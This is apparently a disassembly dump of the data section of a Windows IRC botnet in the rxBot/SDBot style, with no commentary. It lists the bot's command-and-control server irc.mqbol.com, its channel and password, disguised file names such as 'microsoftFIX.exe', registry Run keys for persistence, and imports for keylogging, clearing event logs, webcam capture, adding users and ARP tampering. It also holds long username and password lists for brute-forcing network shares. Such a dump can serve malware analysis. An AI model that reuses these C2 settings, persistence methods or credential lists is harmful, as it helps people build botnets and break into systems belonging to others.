'ExitWindowsEx',0 ; DATA XREF: sub_4014E0+1A0o align 4 aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4014E0:loc_4016D8o align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4014E0+200o aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4014E0+20Do align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4014E0+21Ao aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4014E0:loc_40173Fo align 4 aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4014E0+270o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4014E0+278o aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4014E0+285o align 4 aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4014E0+292o align 4 aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4014E0+29Fo aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4014E0+2ACo aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4014E0+2B9o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4014E0+2C6o align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4014E0:loc_4017F2o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4014E0+31Ao align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4014E0+327o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4014E0:loc_401837o align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4014E0+35Fo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4014E0+36Co align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_4014E0+379o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4014E0+386o align 4 aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4014E0+393o align 10h aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4014E0+3A0o aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4014E0+3ADo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4014E0:loc_4018E5o align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4014E0:loc_40190Do align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4014E0+43Eo align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4014E0+446o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4014E0+453o align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4014E0+460o align 10h aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4014E0+46Do align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4014E0+47Ao align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_4014E0+487o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4014E0+494o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4014E0+4A1o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4014E0+514o align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4014E0+525o align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4014E0+52Do align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4014E0+53Ao align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4014E0+547o align 4 aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4014E0+554o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4014E0+561o aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4014E0+56Eo align 4 aSocket db 'socket',0 ; DATA XREF: sub_4014E0+57Bo align 4 aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4014E0+588o aConnect db 'connect',0 ; DATA XREF: sub_4014E0+595o aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4014E0+5A2o align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4014E0+5AFo align 4 aHtons db 'htons',0 ; DATA XREF: sub_4014E0+5BCo align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_4014E0+5C9o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4014E0+5D6o align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_4014E0+5E3o align 4 aSend db 'send',0 ; DATA XREF: sub_4014E0+5F0o align 10h aSendto db 'sendto',0 ; DATA XREF: sub_4014E0+5FDo align 4 aRecv db 'recv',0 ; DATA XREF: sub_4014E0+60Ao align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4014E0+617o align 4 aBind db 'bind',0 ; DATA XREF: sub_4014E0+629o align 4 aSelect db 'select',0 ; DATA XREF: sub_4014E0+631o align 4 aListen db 'listen',0 ; DATA XREF: sub_4014E0+63Eo align 4 aAccept db 'accept',0 ; DATA XREF: sub_4014E0+64Bo align 4 aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4014E0+658o align 4 aGetsockname db 'getsockname',0 ; DATA XREF: sub_4014E0+665o aGethostname db 'gethostname',0 ; DATA XREF: sub_4014E0+672o aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4014E0+67Fo align 10h aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4014E0+68Co align 10h aGetpeername db 'getpeername',0 ; DATA XREF: sub_4014E0+699o aClosesocket db 'closesocket',0 ; DATA XREF: sub_4014E0+6A6o aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4014E0:loc_401CBFo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4014E0+7F0o align 10h aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4014E0+7F8o aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4014E0+805o align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4014E0+812o align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4014E0+81Fo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4014E0+82Co align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4014E0+839o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4014E0+846o align 10h aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4014E0+853o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4014E0+860o aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4014E0+8D2o align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4014E0:loc_401DDFo align 10h aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4014E0+90Co align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4014E0+914o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4014E0+921o align 10h aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4014E0:loc_401E3Eo align 10h aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4014E0+96Fo aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4014E0+977o aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4014E0+984o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4014E0+991o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4014E0+99Eo align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4014E0+9ABo align 10h aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4014E0+9B8o align 4 aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4014E0+9C5o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4014E0+9D2o aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4014E0+9DFo align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4014E0+9ECo align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4014E0+9F9o aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4014E0:loc_401F5Ao align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4014E0+A87o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4014E0+A8Fo align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4014E0:loc_401FA4o align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4014E0+AD1o align 10h aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4014E0+AD9o align 4 aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4014E0:loc_401FEEo aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4014E0+B1Bo aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4014E0+B23o aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4014E0+B30o align 4 aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4014E0+B3Do align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4014E0:loc_402062o aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4014E0+B8Fo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4014E0+B97o align 10h aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4014E0:loc_4020ACo align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4014E0+BD9o align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4014E0+BE1o align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4014E0+BEEo align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4014E0+BFBo align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4014E0+C08o align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4014E0+C15o align 10h aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4014E0:loc_40214Ao align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4014E0+C77o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4014E0+C7Fo align 4 aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+28o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+5Co aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+90o align 4 aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+C4o align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+F8o aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40219C+12Co align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40219C+160o align 4 aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+194o align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40219C+1C8o aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40219C+1FCo align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+230o align 10h aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+264o align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+298o aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40219C+2CCo align 10h unk_436AF0 db 2Dh ; - ; DATA XREF: sub_40219C+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h a__3: ; DATA XREF: ___:004024FCo unicode 0, <.>,0 a__4: ; DATA XREF: ___:00402514o unicode 0, <.>,0 unk_436B18 db 2Dh ; - ; DATA XREF: sub_402599+8Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 unk_436B44 db 2Dh ; - ; DATA XREF: sub_402599:loc_40262Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_436B74 db 2Dh ; - ; DATA XREF: sub_402599:loc_4025F2o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_436B98 db 2Dh ; - ; DATA XREF: sub_402599:loc_40265Eo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_436BC8 db 2Dh ; - ; DATA XREF: sub_402599+43o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGetting_0 db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40267D+46o dword_436C00 dd 0F5Fh ; DATA XREF: ___:00402C30r ; ___:00402CC5r dword_436C04 dd 0F5Fh ; DATA XREF: ___:00402D11r dword_436C08 dd 7E4h ; DATA XREF: sub_403038:loc_406FEDr dword_436C0C dd 45h ; DATA XREF: sub_403038+34FCr ; sub_4097CE+42r dword_436C10 dd 7D1h ; DATA XREF: sub_403038:loc_40661Fr ; sub_4097CE:loc_409A98r dword_436C14 dd 201h ; DATA XREF: sub_403038:loc_406795r word_436C18 dw 7C7h ; DATA XREF: sub_403038:loc_407110r align 4 dword_436C1C dd 1 ; DATA XREF: sub_403038+627r dword_436C20 dd 1 ; DATA XREF: ___:004028CCr dword_436C24 dd 1 ; DATA XREF: ___:loc_402AD0r ; sub_411FA3+Cr byte_436C28 db 2Eh ; DATA XREF: sub_403038+A61r ; sub_403038+B1Br ... align 4 dword_436C2C dd 5 ; DATA XREF: sub_408768+39r ; sub_408768+5Fr ... dword_436C30 dd 4 ; DATA XREF: sub_402D58+78r ; sub_403038+273r ... dword_436C34 dd 1 ; DATA XREF: sub_402D58+72r ; sub_403038+26Dr aMqbol db 'mqbol',0 ; DATA XREF: ___:004027EFo ; sub_403038:loc_406E4Ao ... align 10h aBy db 'By',0 ; DATA XREF: sub_403038:loc_407216o align 4 aH4ck3d39355 db 'H4CK3D39355',0 ; DATA XREF: sub_403038+55ABo ; sub_403038+567Ao aIrc_mqbol_com db 'irc.mqbol.com',0 ; DATA XREF: ___:00402C1Co ; ___:00402CB6o align 10h aRpmxp db '#RpmXp#',0 ; DATA XREF: ___:00402C3Co ; ___:00402CCCo aSend_0 db 'send',0 ; DATA XREF: ___:00402C53o ; ___:00402CDEo align 10h byte_436C70 db 69h ; DATA XREF: ___:loc_402CF4r ; ___:00402D02o db 72h, 63h, 2Eh dd 6F62716Dh, 6F632E6Ch, 6Dh dword_436C80 dd 6D705223h, 237058h ; DATA XREF: ___:00402D18o aSend_1 db 'send',0 ; DATA XREF: ___:00402D2Ao align 10h aMicrosoftfix_e db 'microsoftFIX.exe',0 ; DATA XREF: ___:004028D2o ; ___:004028F6w ... align 4 aXtx1_sys db 'xtx1.sys',0 align 10h aMicrosoftGetwa db 'MicroSoft Getway mqbol',0 ; DATA XREF: sub_401000+Eo align 4 unicode 0, <->,0 aMicrosoft_exe db 'microsoft.exe',0 align 4 aXRi db '-x+Ri',0 ; DATA XREF: sub_403038+56FAo align 4 aRpmxp_0 db '#RpmXp',0 ; DATA XREF: sub_403038+2022o ; sub_403038+203Eo ... align 4 off_436CEC dd offset dword_43702C ; DATA XREF: sub_403038:loc_40862Do off_436CF0 dd offset aMircV6_10Khale ; DATA XREF: sub_403038+889r ; sub_403038+5611o ; "mIRC v6.10 Khaled Mardam-Bey" dd offset aMircV6_12Khale ; "mIRC v6.12 Khaled Mardam-Bey" dd offset aMircV6_14Khale ; "mIRC v6.14 Khaled Mardam-Bey" dd offset aMircV6_16Khale ; "mIRC v6.16 Khaled Mardam-Bey" aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicr_0 db 'Software\Microsoft\OLE',0 align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 align 4 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 8 dd offset dword_4D318C dd offset aAdministrato_1 ; "administrator" dd offset aAdministrado_0 ; "administrador" dd offset aAdministrate_0 ; "administrateur" dd offset aAdministrat_0 ; "administrat" dd offset aAdmins_0 ; "admins" dd offset aAdmin_0 ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003_0 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_1 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault_0 ; "default" dd offset aSystem ; "system" dd offset aServer_5 ; "server" dd offset aRoot_0 ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_1 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter_0 ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob_0 ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase_0 ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2_0 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa_0 ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle_0 ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet_0 ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent_0 ; "student" dd offset aTeacher_0 ; "teacher" dd offset aStaff_0 ; "staff" align 8 dword_437028 dd 10h ; DATA XREF: sub_403038+ACBr ; sub_403038+AF7r ... dword_43702C dd 65726944h, 6D646140h, 6E2E6E69h, 7465h ; DATA XREF: ___:off_436CECo aMircV6_10Khale db 'mIRC v6.10 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_436CF0o align 4 aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: ___:00436CF4o align 4 aMircV6_14Khale db 'mIRC v6.14 Khaled Mardam-Bey',0 ; DATA XREF: ___:00436CF8o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:00436CFCo align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:00436DA8o align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:00436DACo align 4 aAdministrateur db 'administrateur',0 ; DATA XREF: ___:00436DB0o align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:00436DB4o aAdmins db 'admins',0 ; DATA XREF: ___:00436DB8o align 10h aAdmin db 'admin',0 ; DATA XREF: ___:00436DBCo align 4 aStaff db 'staff',0 ; DATA XREF: ___:00436DC0o align 10h aRoot db 'root',0 ; DATA XREF: ___:00436DC4o align 4 aComputer db 'computer',0 ; DATA XREF: ___:00436DC8o align 4 aOwner db 'owner',0 ; DATA XREF: ___:00436DCCo align 4 aStudent db 'student',0 ; DATA XREF: ___:00436DD0o aTeacher db 'teacher',0 ; DATA XREF: ___:00436DD4o aWwwadmin db 'wwwadmin',0 ; DATA XREF: ___:00436DD8o align 4 aGuest_0 db 'guest',0 ; DATA XREF: ___:00436DDCo align 10h aDefault db 'default',0 ; DATA XREF: ___:00436DE0o aDatabase db 'database',0 ; DATA XREF: ___:00436DE4o align 4 aDba db 'dba',0 ; DATA XREF: ___:00436DE8o aOracle db 'oracle',0 ; DATA XREF: ___:00436DECo align 10h aDb2 db 'db2',0 ; DATA XREF: ___:00436DF0o aAdministrato_1 db 'administrator',0 ; DATA XREF: ___:00436DFCo align 4 aAdministrado_0 db 'administrador',0 ; DATA XREF: ___:00436E00o align 4 aAdministrate_0 db 'administrateur',0 ; DATA XREF: ___:00436E04o align 4 aAdministrat_0 db 'administrat',0 ; DATA XREF: ___:00436E08o aAdmins_0 db 'admins',0 ; DATA XREF: ___:00436E0Co align 4 aAdmin_0 db 'admin',0 ; DATA XREF: ___:00436E10o align 10h aAdm db 'adm',0 ; DATA XREF: ___:00436E14o aPassword1 db 'password1',0 ; DATA XREF: ___:00436E18o align 10h aPassword db 'password',0 ; DATA XREF: ___:00436E1Co align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:00436E20o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: ___:00436E24o align 10h aPass db 'pass',0 ; DATA XREF: ___:00436E28o align 4 aPwd db 'pwd',0 ; DATA XREF: ___:00436E2Co a007 db '007',0 ; DATA XREF: ___:00436E30o a1: ; DATA XREF: ___:00436E34o unicode 0, <1>,0 a12 db '12',0 ; DATA XREF: ___:00436E38o align 4 a123 db '123',0 ; DATA XREF: ___:00436E3Co a1234 db '1234',0 ; DATA XREF: ___:00436E40o align 4 a12345 db '12345',0 ; DATA XREF: ___:00436E44o align 4 a123456 db '123456',0 ; DATA XREF: ___:00436E48o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:00436E4Co a12345678 db '12345678',0 ; DATA XREF: ___:00436E50o align 4 a123456789 db '123456789',0 ; DATA XREF: ___:00436E54o align 4 a1234567890 db '1234567890',0 ; DATA XREF: ___:00436E58o align 10h a2000 db '2000',0 ; DATA XREF: ___:00436E5Co align 4 a2001 db '2001',0 ; DATA XREF: ___:00436E60o align 10h a2002 db '2002',0 ; DATA XREF: ___:00436E64o align 4 a2003_0 db '2003',0 ; DATA XREF: ___:00436E68o align 10h a2004 db '2004',0 ; DATA XREF: ___:00436E6Co align 4 aTest db 'test',0 ; DATA XREF: ___:00436E70o align 10h aGuest_1 db 'guest',0 ; DATA XREF: ___:00436E74o align 4 aNone db 'none',0 ; DATA XREF: ___:00436E78o align 10h aDemo db 'demo',0 ; DATA XREF: ___:00436E7Co align 4 aUnix db 'unix',0 ; DATA XREF: ___:00436E80o align 10h aLinux db 'linux',0 ; DATA XREF: ___:00436E84o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:00436E88o align 4 aDefault_0 db 'default',0 ; DATA XREF: ___:00436E8Co aSystem db 'system',0 ; DATA XREF: ___:00436E90o align 4 aServer_5 db 'server',0 ; DATA XREF: ___:00436E94o align 4 aRoot_0 db 'root',0 ; DATA XREF: ___:00436E98o align 4 aNull_1 db 'null',0 ; DATA XREF: ___:00436E9Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00436EA0o align 4 aMail db 'mail',0 ; DATA XREF: ___:00436EA4o align 4 aOutlook db 'outlook',0 ; DATA XREF: ___:00436EA8o aWeb db 'web',0 ; DATA XREF: ___:00436EACo aWww db 'www',0 ; DATA XREF: ___:00436EB0o aInternet db 'internet',0 ; DATA XREF: ___:00436EB4o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:00436EB8o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:00436EBCo align 10h aHome db 'home',0 ; DATA XREF: ___:00436EC0o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:00436EC4o align 4 aUser_1 db 'user',0 ; DATA XREF: ___:00436EC8o align 4 aOem db 'oem',0 ; DATA XREF: ___:00436ECCo aOemuser db 'oemuser',0 ; DATA XREF: ___:00436ED0o aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00436ED4o align 4 aWindows db 'windows',0 ; DATA XREF: ___:00436ED8o aWin98 db 'win98',0 ; DATA XREF: ___:00436EDCo align 4 aWin2k db 'win2k',0 ; DATA XREF: ___:00436EE0o align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:00436EE4o align 4 aWinnt db 'winnt',0 ; DATA XREF: ___:00436EE8o align 4 aWin2000 db 'win2000',0 ; DATA XREF: ___:00436EECo aQaz db 'qaz',0 ; DATA XREF: ___:00436EF0o aAsd db 'asd',0 ; DATA XREF: ___:00436EF4o aZxc db 'zxc',0 ; DATA XREF: ___:00436EF8o aQwe db 'qwe',0 ; DATA XREF: ___:00436EFCo aBob db 'bob',0 ; DATA XREF: ___:00436F00o aJen db 'jen',0 ; DATA XREF: ___:00436F04o aJoe db 'joe',0 ; DATA XREF: ___:00436F08o aFred db 'fred',0 ; DATA XREF: ___:00436F0Co align 4 aBill db 'bill',0 ; DATA XREF: ___:00436F10o align 10h aMike db 'mike',0 ; DATA XREF: ___:00436F14o align 4 aJohn db 'john',0 ; DATA XREF: ___:00436F18o align 10h aPeter db 'peter',0 ; DATA XREF: ___:00436F1Co align 4 aLuke db 'luke',0 ; DATA XREF: ___:00436F20o align 10h aSam db 'sam',0 ; DATA XREF: ___:00436F24o aSue db 'sue',0 ; DATA XREF: ___:00436F28o aSusan db 'susan',0 ; DATA XREF: ___:00436F2Co align 10h aPeter_0 db 'peter',0 ; DATA XREF: ___:00436F30o align 4 aBrian db 'brian',0 ; DATA XREF: ___:00436F34o align 10h aLee db 'lee',0 ; DATA XREF: ___:00436F38o aNeil db 'neil',0 ; DATA XREF: ___:00436F3Co align 4 aIan db 'ian',0 ; DATA XREF: ___:00436F40o aChris db 'chris',0 ; DATA XREF: ___:00436F44o align 4 aEric db 'eric',0 ; DATA XREF: ___:00436F48o align 10h aGeorge db 'george',0 ; DATA XREF: ___:00436F4Co align 4 aKate db 'kate',0 ; DATA XREF: ___:00436F50o align 10h aBob_0 db 'bob',0 ; DATA XREF: ___:00436F54o 